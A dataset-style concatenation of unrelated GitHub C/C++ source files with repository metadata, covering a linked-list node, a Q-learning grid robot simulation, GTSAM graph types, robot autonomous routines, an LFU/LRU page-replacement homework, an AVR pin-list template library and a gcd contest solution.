b818134b2de9dd579393046ddb031fa944954853 | c528841c866296a7c4a39bae83191243f94ecdda | /src/NodoListD.cpp | e34390e0bf213c1aa5ed201a8d84f6bd7e8666f0 | [] | no_license | Javi1427/EDD_1S2020_P1_201612102 | e6a5dd71c70a755db1178e408bf747be5479f5f1 | 98afbe436e5c8bfa2e8f0006f060945054ed255e | refs/heads/master | 2022-04-07T08:04:22.747300 | 2020-02-19T02:38:04 | 2020-02-19T02:38:04 | 241,498,039 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 231 | cpp | #include "NodoListD.h"
/*
Este metodo es el constructor de la clase
*/
NodoListD::NodoListD(string letra1)
{
this->letra = letra1;
this->next = nullptr;
this->backa = nullptr;
}
NodoListD::~NodoListD()
{
//dtor
}
| [
"javierrecinos27@gmail.com"
] | javierrecinos27@gmail.com |
3b042125358609ad936f1a7196989df1eb381a07 | ca44c49c9c85c4b747d23a212b1d082d01fbafe1 | /v1/earl.cpp | 0b8bddbad2b542875f932554d55ee249db20b679 | [] | no_license | cat-cuatro/Q-Learning-with-Robby-the-Robot | 8af90652b28d5d3a052de9bf405d7f47a39c1212 | 150ce62d96bb73b54d0851a7cc0626e02dadf3b4 | refs/heads/master | 2020-06-02T09:26:05.869910 | 2019-12-31T10:24:38 | 2019-12-31T10:24:38 | 191,113,837 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 11,596 | cpp | #include "robby.h"
int train_earl_robby(robot & robby, robot & earl, roboGrid & environment, qmatrix ** robbygrid, qmatrix ** earlgrid, int episodes){
int cansCollected = 0;
int i = 0;
int flag = TRAINING;
robot oldRobby;
oldRobby.totalReward = 0;
oldRobby.cansCollected = 0;
qmatrix robbyCurrentState;
qmatrix earlCurrentState;
int robbyIndex = 0;
int earlIndex = 0;
float avgReward = 0;
float avgCans = 0;
while(i < episodes){
/*** Initialize current state for Robby ***/
observe(robby, environment, robbyCurrentState); // <-- Analyze Robby's percepts
robbyIndex = lookup(robbyCurrentState, robbygrid); // <-- Check if he's seen this state before.
if(robbyIndex == -1){ // If not, now he has, so we should add it to his table.
robbyIndex = addState(robbyCurrentState, robbygrid);
}
robbyCurrentState.index = robbyIndex;
/*** Now initialize current state for Earl ***/
observe(earl, environment, earlCurrentState); // <-- Analyze this robot's current percepts.
earlIndex = lookup(earlCurrentState, earlgrid); // <-- Does this state exist?
if(earlIndex == -1){ // If not, create it.
earlIndex = addState(earlCurrentState, earlgrid);
}
earlCurrentState.index = earlIndex; // Keep track of this state's index for easier referencing.
/*** Now that both robots are initialized, we can proceed with training ***/
cansCollected = run_earl(earl, robby, environment, robbygrid, earlgrid, robbyCurrentState, earlCurrentState, TRAINING);
++i; // Increment number of episodes performed.
/*** Process can collection data. ***/
oldRobby.cansCollected = robby.cansCollected + oldRobby.cansCollected;
oldRobby.totalReward = robby.totalReward + oldRobby.totalReward;
if(i % 100 == 0){
cout << "Averages for " << (i-100) << " to " << i << endl;
avgReward = (float)oldRobby.totalReward/100.0;
avgCans = (float)oldRobby.cansCollected/100.0;
cout << "Avg. Reward: " << avgReward << " Avg. Cans: " << avgCans << endl;
oldRobby.cansCollected = 0;
oldRobby.totalReward = 0;
}
refreshGrid(environment);
resetRobby(robby, environment);
initializeEarl(earl, environment);
}
}
int run_earl(robot & earl, robot & robby, roboGrid & environment, qmatrix ** robbygrid, qmatrix ** earlgrid, qmatrix & currRobby, qmatrix & currEarl, int flag){
int i = 0;
qmatrix earlNextState;
qmatrix robbyNextState;
robotMoveSet previousMoveSet;
int indexLookup = 0;
int rewardDiff = 0;
int prevReward = 0;
int actionTaken = 0;
int maxQ = 0;
int earlPrevReward = 0;
bool captured = false;
while(i < MAX_STEPS && captured == false){
/*** First, we want Robby to take a turn on the grid ***/
observe(robby, environment, currRobby);
// Robby must first observe his environment, and load his percepts
actionTaken = chooseAction(robby, currRobby, robbygrid, environment, flag, captured);
// Robby can now make a decision based on what he sees.
observe(robby, environment, robbyNextState);
// Now Robby will want to observe the state he has transitioned into.
// Check to see if Robby's next state exists in his q-table. If it doesn't, indexLookup will be -1.
indexLookup = lookup(robbyNextState, robbygrid);
if(indexLookup == -1){
indexLookup = addState(robbyNextState, robbygrid);
}
robbyNextState.index = indexLookup;
// Calculate how much Robby has gained (or lost!) in terms of his reward.
rewardDiff = robby.totalReward - prevReward;
prevReward = robby.totalReward;
// Update robby's q-table in accordance to what he's done
updateStateSet(previousMoveSet, currRobby, robbyNextState, actionTaken, robbygrid); // <-- this tracks Robby's former action set.
robbygrid[currRobby.index]->weights[actionTaken] = q_update(currRobby.index, actionTaken, rewardDiff, robbyNextState, robbygrid, indexLookup);
// Copy the next state as Robby's current state.
copyState(robbyNextState, currRobby);
// now, update robby's current index for the next step sequence.
currRobby.index = robbyNextState.index;
++robby.iterations;
/*** Next, we want Earl to take a turn on the grid ***/
observe(earl, environment, currEarl); // This is the same exact sequence as above, but not commented.
actionTaken = earlChooseAction(earl, currEarl, earlgrid, environment, flag, captured, robby);
observe(earl, environment, earlNextState);
indexLookup = lookup(earlNextState, earlgrid);
earlNextState.index = indexLookup;
rewardDiff = earl.totalReward - earlPrevReward;
earlPrevReward = earl.totalReward;
earlgrid[currEarl.index]->weights[actionTaken] = q_update(currEarl.index, actionTaken, rewardDiff, earlNextState, earlgrid, indexLookup);
copyState(earlNextState, currEarl);
currEarl.index = earlNextState.index;
if(captured == true){ // Robby has been captured! His q-value matrix must be updated to reflect his bad decision!
// in order to simulate this effect, I must step back and modify how I updated his Q-Value.
fixQValues(previousMoveSet, robbygrid);
}
++i;
++earl.iterations;
}
return robby.cansCollected;
}
void initializeEarl(robot & earl, roboGrid & environment){
earl.cansCollected = 0;
earl.row = MAX_DIMENSION-1;
earl.column = MAX_DIMENSION-1;
earl.totalReward = 0;
earl.iterations = 0;
environment.grid[earl.row][earl.column] = JUST_EARL;
}
// Checks to see if Robby the robot is capturable. If he is capturable, then Earl will capture him for a
// massive reward.
int performCapture(robot & earl, roboGrid & environment, int action, bool & captured, robot & robby){
int rowCoord = 0;
int columnCoord = 1;
int NWDiag[2];
int NEDiag[2];
int SWDiag[2];
int SEDiag[2];
int reward = FAILED_CAPTURE_REWARD;
// First perform a series of simulated coordinate computations in each diagonal direction
SWDiag[rowCoord] = earl.row-1;
SWDiag[columnCoord] = earl.column-1;
SEDiag[rowCoord] = earl.row-1;
SEDiag[columnCoord] = earl.column+1;
NWDiag[rowCoord] = earl.row+1;
NWDiag[columnCoord] = earl.column-1;
NEDiag[rowCoord] = earl.row+1;
NEDiag[columnCoord] = earl.column+1;
if(SWDiag[rowCoord] == robby.row && SWDiag[columnCoord] == robby.column){
captured = true;
}
if(SEDiag[rowCoord] == robby.row && SEDiag[columnCoord] == robby.column){
captured = true;
}
if(NWDiag[rowCoord] == robby.row && NWDiag[columnCoord] == robby.column){
captured = true;
}
if(NEDiag[rowCoord] == robby.row && NEDiag[columnCoord] == robby.column){
captured = true;
}
if(captured == true){
reward = CAPTURE_REWARD;
cout << "Capture success!" << endl;
}
else{
}
return reward;
}
// returns updated q-value for weight updating in the q-matrix. Also calls: retrieveNextQval (see robby.cpp)
int q_update(int & currIndex, int action, int reward, qmatrix & nextState, qmatrix ** actiongrid, int lookup){
int qvalue = 0;
int maxQ = 0;
int reply = 0;
if(lookup == -1){
qvalue = actiongrid[currIndex]->weights[action] + LEARNING_RATE * (reward + (DISCOUNT_FACTOR * 0) -
actiongrid[currIndex]->weights[action]);
currIndex = addState(nextState, actiongrid); // add the state to this robot's q-table, and also modify the index for the calling method.
// We add it here because it doesn't exist yet. This step is crucial.
}
else{
maxQ = retrieveNextQval(nextState); // Retrieve the maximum perceived q-value achievable in the next state.
qvalue = actiongrid[currIndex]->weights[action] + LEARNING_RATE * (reward + (DISCOUNT_FACTOR*maxQ)-
actiongrid[currIndex]->weights[action]);
}
return qvalue;
}
// I want to make a preliminary observation of the state I've moved to. If I can see Robby, I want to make that desirable.
int scoutForRobby(robot & earl, roboGrid & environment, robot & robby){
int rowCoord = 0;
int colCoord = 1;
int north[2];
int east[2];
int south[2];
int west[2];
int reward = 0;
north[rowCoord] = earl.row+1;
north[colCoord] = earl.column; // Calculate the coordinates of the tile above earl.
east[rowCoord] = earl.row;
east[colCoord] = earl.column+1; // calculate the coordinates of the tile to the east of earl.
south[rowCoord] = earl.row-1;
south[colCoord] = earl.column; // same as above, except for south.
west[rowCoord] = earl.row;
west[colCoord] = earl.column-1; // same as above, except for west.
if(north[rowCoord] == robby.row && north[colCoord] == robby.column){
reward = 1;
}
if(east[rowCoord] == robby.row && east[colCoord] == robby.column){
reward = 1;
}
if(south[rowCoord] == robby.row && south[colCoord] == robby.column){
reward = 1;
}
if(west[rowCoord] == robby.row && south[colCoord] == robby.column){
reward = 1;
}
return reward;
}
void manageEnvironment(roboGrid & environment, int prevRow, int prevCol, int dirMoved, int flag, robot & testBot){
int currRow = testBot.row;
int currCol = testBot.column;
fourCaseCheck(environment, prevRow, prevCol, flag); // This simulates what the model will be after a character moves off of a tile
newStateFourCaseCheck(environment, currRow, currCol, flag); // This simulates what the model will be after a character moves ON to a tile.
}
void newStateFourCaseCheck(roboGrid & environment, int row, int col, int flag){
if(flag == 0){ // if the flag is 0, then I'm cleaning up after Robby's movement.
if(environment.grid[row][col] == EMPTY){
environment.grid[row][col] = JUST_ROBBY;
}
if(environment.grid[row][col] == CAN){
environment.grid[row][col] = CAN_ROBBY;
}
if(environment.grid[row][col] == JUST_EARL){
environment.grid[row][col] = JUST_EARL_ROBBY;
}
if(environment.grid[row][col] == CAN_EARL){
environment.grid[row][col] = EARL_ROBBY_CAN;
}
}
else{ // otherwise, I'm cleaning up after Earl's movement.
if(environment.grid[row][col] == EMPTY){
environment.grid[row][col] = JUST_EARL;
}
if(environment.grid[row][col] == CAN){
environment.grid[row][col] = CAN_EARL;
}
if(environment.grid[row][col] == JUST_ROBBY){
environment.grid[row][col] = JUST_EARL_ROBBY;
}
if(environment.grid[row][col] == CAN_ROBBY){
environment.grid[row][col] = EARL_ROBBY_CAN;
}
}
}
void fourCaseCheck(roboGrid & environment, int prevRow, int prevCol, int flag){
if(flag == 0){ // if the flag is 0, then I'm cleaning up after Robby's movement.
if(environment.grid[prevRow][prevCol] == JUST_ROBBY){
environment.grid[prevRow][prevCol] = EMPTY;
}
if(environment.grid[prevRow][prevCol] == CAN_ROBBY){
environment.grid[prevRow][prevCol] = CAN;
}
if(environment.grid[prevRow][prevCol] == JUST_EARL_ROBBY){
environment.grid[prevRow][prevCol] = JUST_EARL;
}
if(environment.grid[prevRow][prevCol] == EARL_ROBBY_CAN){
environment.grid[prevRow][prevCol] = CAN_EARL;
}
}
else{ // otherwise, I'm cleaning up after Earl's movement. This is entirely just to maintain the grid model.
if(environment.grid[prevRow][prevCol] == JUST_EARL){
environment.grid[prevRow][prevCol] = EMPTY;
}
if(environment.grid[prevRow][prevCol] == CAN_EARL){
environment.grid[prevRow][prevCol] = CAN;
}
if(environment.grid[prevRow][prevCol] == JUST_EARL_ROBBY){
environment.grid[prevRow][prevCol] = JUST_ROBBY;
}
if(environment.grid[prevRow][prevCol] == EARL_ROBBY_CAN){
environment.grid[prevRow][prevCol] = CAN_ROBBY;
}
}
}
| [
"noreply@github.com"
] | noreply@github.com |
4f76adb20aa391a56a3886a36a79bf6f066c5659 | 4a3d84611aa456c5264bd6644dc550a5daf92256 | /cpp/include/pairwise_consistency_maximization/graph_utils/graph_types.h | 1d0cffaa3bae81671cfd20afd66987bec29de86c | [
"BSD-3-Clause"
] | permissive | lajoiepy/robust_distributed_mapper | d3b1002c1c6473b34bbe1f897cc2085d990adf45 | 991a13f368a1d7cbc5dc370ae6f3d3a7f6c01243 | refs/heads/master | 2022-11-03T03:48:22.638498 | 2022-03-22T17:09:04 | 2022-03-22T17:09:04 | 164,741,157 | 44 | 13 | null | null | null | null | UTF-8 | C++ | false | false | 2,675 | h | // Copyright (C) 2019 by Pierre-Yves Lajoie <lajoie.py@gmail.com>
#ifndef GRAPH_UTILS_TYPES_H
#define GRAPH_UTILS_TYPES_H
#include <boost/shared_ptr.hpp>
#include <gtsam/base/Value.h>
#include <gtsam/geometry/Pose3.h>
#include <gtsam/geometry/Rot3.h>
#include <gtsam/slam/BetweenFactor.h>
#include <gtsam/inference/Symbol.h>
#include <map>
#include <vector>
/** \namespace graph_utils
* \brief This namespace encapsulates utility functions to manipulate graphs
*/
namespace graph_utils {
/** \struct PoseWithCovariance
* \brief Structure to store a pose and its covariance data
*/
struct PoseWithCovariance {
gtsam::Pose3 pose;
gtsam::Matrix covariance_matrix;
};
/** \struct Transform
* \brief Structure defining a transformation between two poses
*/
struct Transform {
gtsam::Key i, j;
graph_utils::PoseWithCovariance pose;
bool is_loopclosure;
};
/** \struct Transforms
* \brief Structure defining a std::map of transformations
*/
struct Transforms {
gtsam::Key start_id, end_id;
std::map<std::pair<gtsam::Key,gtsam::Key>, graph_utils::Transform> transforms;
};
/** \struct TrajectoryPose
* \brief Structure defining a pose in a robot trajectory
*/
struct TrajectoryPose {
gtsam::Key id;
graph_utils::PoseWithCovariance pose;
};
/** \struct Trajectory
* \brief Structure defining a robot trajectory
*/
struct Trajectory {
gtsam::Key start_id, end_id;
std::map<gtsam::Key, graph_utils::TrajectoryPose> trajectory_poses;
};
/** \typedef LoopClosures
* \brief type to store poses IDs of loop closures.
*/
/** Type defining a list of pair of poses with a loop closure */
typedef std::vector<std::pair<gtsam::Key,gtsam::Key>> LoopClosures;
/** \typedef ConsistencyErrorData
* \brief type to store pose error vector and its associated covariance.
*/
/** Type defining a pair vector-matrix */
typedef std::pair<gtsam::Vector6, gtsam::Matrix> ConsistencyErrorData;
/** \var FIXED_COVARIANCE
* \brief Covariance matrix with usual value (rotation std: 0.01 rad, translation std: 0.1 m).
*
* This value should not be used if covariance data is provided by the front end.
*/
const gtsam::Matrix FIXED_COVARIANCE =
(Eigen::MatrixXd(6,6) << 0.0001, 0, 0, 0, 0, 0,
0, 0.0001, 0, 0, 0, 0,
0, 0, 0.0001, 0, 0, 0,
0, 0, 0, 0.01, 0, 0,
0, 0, 0, 0, 0.01, 0,
0, 0, 0, 0, 0, 0.01).finished();
}
#endif | [
"lajoie.py@gmail.com"
] | lajoie.py@gmail.com |
478c1c521db42530c891df9a7751dbb32b68d5b6 | ea2a51aea2ea7018a560eae92bb6eacb96d82167 | /include/robot_includes/auto_functions.hpp | 92c1e922d750c93caba6bc0692c3f9ce78597ae3 | [] | no_license | InsertString/2D_WORLDS_2019 | c752a30ac3b9dd5bed667b13fddc3fa7382f2040 | 7832d50996c03dbf6eb392440209651d8cb14fc0 | refs/heads/master | 2020-04-26T16:26:29.177103 | 2019-05-06T02:44:53 | 2019-05-06T02:44:53 | 173,677,852 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 753 | hpp | #ifndef _AUTO_FUNCTIONS_HPP_
#define _AUTO_FUNCTIONS_HPP_
enum Auto_Action_Return_States {
COMPLETE,
INCOMPLETE,
};
#define AUTO_PIVOT_LEFT 1
#define AUTO_PIVOT_RIGHT 2
struct Auto_Action {
Auto_Action_Return_States return_state;
int public_value;
};
Auto_Action auto_drive(int target, int max_power, int timeout);
Auto_Action auto_turn(int target, int max_power, int timeout);
Auto_Action auto_turn_swing(int target, int pivot, int max_power, int timeout);
Auto_Action auto_shoot(int timeout);
Auto_Action auto_move_arm(int target, int velocity, int timeout);
Auto_Action auto_move_flipper(int target, int velocity, int timeout);
void start_auto();
void reset_auto_variables();
void advance_auto_step();
#endif
| [
"joshuacanadian@gmail.com"
] | joshuacanadian@gmail.com |
8089bc9be02c410685a201bbaa5d2dbe89aaf536 | 7a32e21f6045259f17a401674bc3fd8b27847bd1 | /HW5/0516205_5.cpp | 1651f173e1e8f8c13413b3922fb47b4a448e7bd6 | [] | no_license | Holychung/2018_1_OS | d58ec6e2149595c9083c5482077fb626b5a5c21b | dece200751c9bb7e0e40d4d2642fc59fc004e516 | refs/heads/master | 2021-05-23T00:43:54.597469 | 2020-04-05T05:09:30 | 2020-04-05T05:09:30 | 253,159,224 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 4,805 | cpp | /*
Student No.: 0516205
Student Name: 鍾禾翊
Email: mickey94378@gmail.com
SE tag: xnxcxtxuxoxsx
Statement: I am fully aware that this program is not
supposed to be posted to a public server, such as a
public GitHub repository or a public web page.
*/
#include <iostream>
#include <fstream>
#include <cstdlib>
#include <map>
#include <list>
#include <set>
#include <ctime>
using namespace std;
class Node{
public:
int request;
int ref_count;
int seq_num;
bool operator<(const Node& b) const
{
return ref_count < b.ref_count || (ref_count == b.ref_count) && seq_num < b.seq_num;
}
};
void LFU(void);
void LRU(void);
char *filename[100];
// string filename;
int main(int argc, char *argv[]){
if(argv[1]){
*filename=argv[1];
LFU();
LRU();
}
else
cout<<"missing arguement 1"<<endl;
return 0;
}
void LFU(void){
cout<<"LFU policy:"<<endl;
cout<<"frame\thit\t\tmiss\t\tpage fault ratio"<<endl;
int i, frame_size, now_frame, seq_num;
int hit_count, miss_count;
int request;
double start_time, end_time, total_time=0;
float fault_ratio;
FILE *fin;
set<Node> ListLFU;
set<Node>::iterator iter_set;
map<int, set<Node>::iterator> MapHash;
map<int, set<Node>::iterator>::iterator iter_map;
pair<set<Node>::iterator, bool> ret;
for(i=128;i<1025;i=i*2){
frame_size=i;
if ((fin=fopen(*filename, "r"))==NULL){
printf("Error open file\n");
exit(1);
}
hit_count=0;
miss_count=0;
fault_ratio=0;
now_frame=0;
seq_num=0;
start_time=clock();
while(fscanf(fin, "%d", &request)!=EOF){
seq_num++;
iter_map=MapHash.find(request);
if(iter_map==MapHash.end()){
// hash table miss
miss_count++;
Node tmp;
tmp.request=request;
tmp.seq_num=seq_num;
tmp.ref_count=0;
if(now_frame<frame_size){
ret=ListLFU.insert(tmp);
MapHash[request]=ret.first;
now_frame++;
}
else{
int del=ListLFU.begin()->request;
MapHash.erase(del);
ListLFU.erase(ListLFU.begin());
ret=ListLFU.insert(tmp);
if(ret.second==true)
MapHash[request]=ret.first;
else
printf("error\n");
}
}
else{
// hash table hit
hit_count++;
Node tmp;
tmp.request=request;
tmp.seq_num=iter_map->second->seq_num;
tmp.ref_count=iter_map->second->ref_count;
tmp.ref_count++;
ListLFU.erase(iter_map->second);
ret=ListLFU.insert(tmp);
if(ret.second==true)
MapHash[request]=ret.first;
else
printf("error\n");
}
}
fault_ratio=float(miss_count)/float(miss_count+hit_count);
printf("%d\t%d\t\t%d\t\t%.10f\n", frame_size, hit_count, miss_count, fault_ratio);
MapHash.clear();
ListLFU.clear();
fclose(fin);
}
end_time=clock();
total_time+=(end_time-start_time)/(double)(CLOCKS_PER_SEC);
// cout<<"Total elapsed time: "<<total_time<<"sec"<<endl;
printf("Total elapsed time: %.4f sec\n", total_time);
}
void LRU(void){
cout<<"LRU policy:"<<endl;
cout<<"frame\thit\t\tmiss\t\tpage fault ratio"<<endl;
int i, frame_size, now_frame;
int hit_count, miss_count;
int request;
double start_time, end_time, total_time=0;
float fault_ratio;
list<int> ListLRU;
map<int, list<int>::iterator> MapHash;
map<int, list<int>::iterator>::iterator iter;
FILE *fin;
for(i=128;i<1025;i=i*2){
frame_size=i;
if ((fin=fopen(*filename, "r"))==NULL){
printf("Error open file\n");
exit(1);
}
hit_count=0;
miss_count=0;
fault_ratio=0;
now_frame=0;
start_time=clock();
while(fscanf(fin, "%d", &request)!=EOF){
iter=MapHash.find(request);
if(iter==MapHash.end()){
// hash table miss
miss_count++;
if(now_frame<frame_size){
ListLRU.push_front(request);
MapHash[request]=ListLRU.begin();
now_frame++;
}
else{
MapHash.erase(ListLRU.back());
ListLRU.pop_back();
ListLRU.push_front(request);
MapHash[request]=ListLRU.begin();
}
}
else{
// hash table hit
hit_count++;
ListLRU.erase(iter->second);
ListLRU.push_front(request);
MapHash[request]=ListLRU.begin();
}
}
fault_ratio=float(miss_count)/(float(miss_count+hit_count));
printf("%d\t%d\t\t%d\t\t%.10f\n", frame_size, hit_count, miss_count, fault_ratio);
MapHash.clear();
ListLRU.clear();
fclose(fin);
}
end_time=clock();
total_time+=(end_time-start_time)/(double)(CLOCKS_PER_SEC);
printf("Total elapsed time: %.4f sec\n", total_time);
} | [
"noreply@github.com"
] | noreply@github.com |
6065abf9ebc94152e28e54cef32a3e7c72455329 | 454ee2b7ec1ef279a73e4479fbcd6abcd2152757 | /mcutl/pin_list.h | b1e9fe8c0ded265f54677652981ca881e6a9f387 | [] | no_license | skhoroshavin/MCU-TL | a4160111f1d0a5cb13577edfd8b9ab6a74f2c614 | 2d3010406199d95757483ae7e80c057463ae4b07 | refs/heads/master | 2016-09-05T10:05:52.285907 | 2014-01-24T19:23:16 | 2014-01-24T19:23:16 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 8,277 | h |
#pragma once
#include <meta/list.h>
namespace internal
{
/////////////////////////////////////////////////////////////////////////
// Utility
/////////////////////////////////////////////////////////////////////////
template<class Pins> struct GetPortMask;
template<> struct GetPortMask<meta::List<>> { static const uint8_t value = 0; };
template<class Pin,class... Tail> struct GetPortMask<meta::List<Pin,Tail...>>
{
static const uint8_t value = Pin::type::mask | GetPortMask<meta::List<Tail...>>::value;
};
template<class Pin> struct IsPinTransparent { static const bool value = (Pin::index == Pin::type::pos); };
template<class Pin> struct IsPinShifted { static const bool value = (Pin::index != Pin::type::pos); };
template<class Pins> struct GetSerialCount;
template<> struct GetSerialCount<meta::List<>>
{
static const uint8_t port_pos = -1;
static const uint8_t data_pos = -1;
static const uint8_t value = 0;
};
template<class Pin,class... Tail> struct GetSerialCount<meta::List<Pin,Tail...>>
{
typedef GetSerialCount<meta::List<Tail...>> next;
static const uint8_t port_pos = Pin::type::pos;
static const uint8_t data_pos = Pin::index;
static const uint8_t value = ((port_pos == next::port_pos-1) && (data_pos == next::data_pos-1)) ? next::value+1 : 1;
};
template<uint8_t Offset> struct ShiftLeft { inline static uint8_t shift( uint8_t value ) { return value << Offset; } };
template<uint8_t Offset> struct ShiftRight { inline static uint8_t shift( uint8_t value ) { return value >> Offset; } };
template<uint8_t First, uint8_t Second, bool Out = true>
class Shifter
{
static const bool FirstGreater = First > Second;
typedef typename meta::StaticIf<FirstGreater,ShiftLeft<First-Second>,ShiftRight<Second-First>>::result OutShifter;
typedef typename meta::StaticIf<FirstGreater,ShiftRight<First-Second>,ShiftLeft<Second-First>>::result InShifter;
typedef typename meta::StaticIf<Out,OutShifter,InShifter>::result ActualShifter;
public:
inline static uint8_t shift( uint8_t value ) { return ActualShifter::shift(value); }
};
/////////////////////////////////////////////////////////////////////////
// Pin iterator
/////////////////////////////////////////////////////////////////////////
template<class Pins> struct PinIterator;
template<> struct PinIterator<meta::List<>>
{
inline static uint8_t convertOut( uint8_t data, uint8_t result ) { return result; }
inline static uint8_t convertIn( uint8_t data, uint8_t result ) { return result; }
};
template<class Pin,class... Tail> struct PinIterator<meta::List<Pin,Tail...>>
{
typedef meta::List<Pin,Tail...> Pins;
inline static uint8_t convertOut( uint8_t data, uint8_t result = 0 )
{
typedef typename meta::Filter<IsPinTransparent,Pins>::result transparent_pins;
if( transparent_pins::size > 0 )
{
result |= data & GetPortMask<transparent_pins>::value;
return PinIterator<typename meta::Filter<IsPinShifted,Pins>::result>::convertOut( data, result );
}
const uint8_t serial_count = GetSerialCount<Pins>::value;
if( serial_count > 1 )
{
typedef typename meta::TakeFirst<Pins,serial_count>::result serial_pins;
result |= Shifter<Pin::type::pos,Pin::index>::shift( data ) & GetPortMask<serial_pins>::value;
return PinIterator<typename meta::SkipFirst<Pins,serial_count>::result>::convertOut( data, result );
}
if( data & (1 << Pin::index) )
result |= Pin::type::mask;
return PinIterator<meta::List<Tail...>>::convertOut( data, result );
}
inline static uint8_t convertIn( uint8_t data, uint8_t result = 0 )
{
typedef typename meta::Filter<IsPinTransparent,Pins>::result transparent_pins;
if( transparent_pins::size > 0 )
{
result |= data & GetPortMask<transparent_pins>::value;
return PinIterator<typename meta::Filter<IsPinShifted,Pins>::result>::convertIn( data, result );
}
const uint8_t serial_count = GetSerialCount<Pins>::value;
if( serial_count > 1 )
{
typedef typename meta::TakeFirst<Pins,serial_count>::result serial_pins;
result |= Shifter<Pin::type::pos,Pin::index,false>::shift( data ) & GetPortMask<serial_pins>::value;
return PinIterator<typename meta::SkipFirst<Pins,serial_count>::result>::convertIn( data, result );
}
if( data & Pin::type::mask )
result |= (1 << Pin::index);
return PinIterator<meta::List<Tail...>>::convertIn( data, result );
}
};
/////////////////////////////////////////////////////////////////////////
// Port iterator
/////////////////////////////////////////////////////////////////////////
template<class Ports,class Pins> struct PortIterator;
template<class Pins> struct PortIterator<meta::List<>,Pins>
{
inline static void setDir( uint8_t data ) { }
inline static void setOutput( uint8_t data ) { }
inline static void setInput( uint8_t data ) { }
inline static void write( uint8_t data ) { }
inline static void set( uint8_t data ) { }
inline static void clear( uint8_t data ) { }
inline static void toggle( uint8_t data ) { }
inline static uint8_t read() { return 0; }
};
template<class Port,class... Tail,class Pins> struct PortIterator<meta::List<Port,Tail...>,Pins>
{
// Find pins and calculate mask
template<typename Pin> struct PortHasPin { static const bool value = meta::IsEqual<Port,typename Pin::type::port>::value; };
typedef typename meta::Filter<PortHasPin,Pins>::result pins;
static const uint8_t mask = GetPortMask<pins>::value;
// Set direction
inline static void setDir( uint8_t data )
{
Port::maskedSetDir( mask, PinIterator<pins>::convertOut( data ) );
PortIterator<meta::List<Tail...>,Pins>::setDir( data );
}
// Set output
inline static void setOutput( uint8_t data )
{
Port::setOutput( PinIterator<pins>::convertOut( data ) );
PortIterator<meta::List<Tail...>,Pins>::setOutput( data );
}
// Set input
inline static void setInput( uint8_t data )
{
Port::setInput( PinIterator<pins>::convertOut( data ) );
PortIterator<meta::List<Tail...>,Pins>::setInput( data );
}
// Write
inline static void write( uint8_t data )
{
Port::maskedSet( mask, PinIterator<pins>::convertOut( data ) );
PortIterator<meta::List<Tail...>,Pins>::write( data );
}
// Set
inline static void set( uint8_t data )
{
Port::set( PinIterator<pins>::convertOut( data ) );
PortIterator<meta::List<Tail...>,Pins>::set( data );
}
// Clear
inline static void clear( uint8_t data )
{
Port::clear( PinIterator<pins>::convertOut( data ) );
PortIterator<meta::List<Tail...>,Pins>::clear( data );
}
// Toggle
inline static void toggle( uint8_t data )
{
Port::toggle( PinIterator<pins>::convertOut( data ) );
PortIterator<meta::List<Tail...>,Pins>::toggle( data );
}
// Read
inline static uint8_t read()
{
uint8_t result = PinIterator<pins>::convertIn( Port::read() );
return result | PortIterator<meta::List<Tail...>,Pins>::read();
}
};
}
/////////////////////////////////////////////////////////////////////////
// Pin list
/////////////////////////////////////////////////////////////////////////
template<typename... Pins> class PinList
{
// Indexed pin list
typedef typename meta::MakeIndexedList<meta::List<Pins...>>::result pins;
// Port list
template<typename T> struct GetPort { typedef typename T::type::port result; };
typedef typename meta::Unique<
typename meta::Transform<GetPort,pins>::result
>::result ports;
public:
inline static void setDir( uint8_t data ) { internal::PortIterator<ports,pins>::setDir( data ); }
inline static void setOutput( uint8_t data ) { internal::PortIterator<ports,pins>::setOutput( data ); }
inline static void setInput( uint8_t data ) { internal::PortIterator<ports,pins>::setInput( data ); }
inline static void write( uint8_t data ) { internal::PortIterator<ports,pins>::write( data ); }
inline static void set( uint8_t data ) { internal::PortIterator<ports,pins>::set( data ); }
inline static void clear( uint8_t data ) { internal::PortIterator<ports,pins>::clear( data ); }
inline static void toggle( uint8_t data ) { internal::PortIterator<ports,pins>::toggle( data ); }
inline static uint8_t read() { return internal::PortIterator<ports,pins>::read(); }
};
| [
"skhoroshavin@gmail.com"
] | skhoroshavin@gmail.com |
9887776350f4c519c60855d41c4705979a5f4fe1 | c1501a18f6d3fe138b1a1c5ebebefc8fcd24392a | /计蒜客/训练联盟周赛/26E.cpp | 7e531cc800b3c76f60a0ea1a32c637f92ac0d8a1 | [] | no_license | Simon-0801/CodeHome | 5b2125b5926df4d6f9c63b2e7da993d717ddcda2 | 88ab5c776e5a7b711419928d645212088f3b1858 | refs/heads/master | 2020-12-14T11:06:21.286016 | 2020-10-14T13:19:01 | 2020-10-14T13:19:01 | 234,722,194 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 916 | cpp | #include <iostream>
#include <cstdio>
#include <algorithm>
#include <cstring>
#include <string>
#include <cmath>
#include <vector>
#include <map>
#include <set>
#include <queue>
#define INF 0x3f3f3f3f
#define mst(a,num) memset(a,num,sizeof a)
#define rep(i,a,b) for(int i=a;i<=b;i++)
#define repd(i,a,b) for(int i=a;i>=b;i--)
using namespace std;
typedef long long ll;
typedef pair<int,int> PII;
typedef pair<ll,ll> PLL;
typedef vector<int> VI;
const ll mod = 1e9 + 7;
const int maxn = 100000 + 5;
int gcd(int a,int b){
if(a==0) return b;
if(b==0) return a;
return __gcd(a,b);
}
int main() {
int t,x1,x2,y1,y2;
scanf("%d",&t);
while(t--){
scanf("%d%d%d%d",&x1,&y1,&x2,&y2);
if(gcd(abs(x1),abs(y1))==gcd(abs(x2),abs(y2))){
printf("1\n");
}
else{
printf("0\n");
}
}
return 0;
} | [
"noreply@github.com"
] | noreply@github.com |
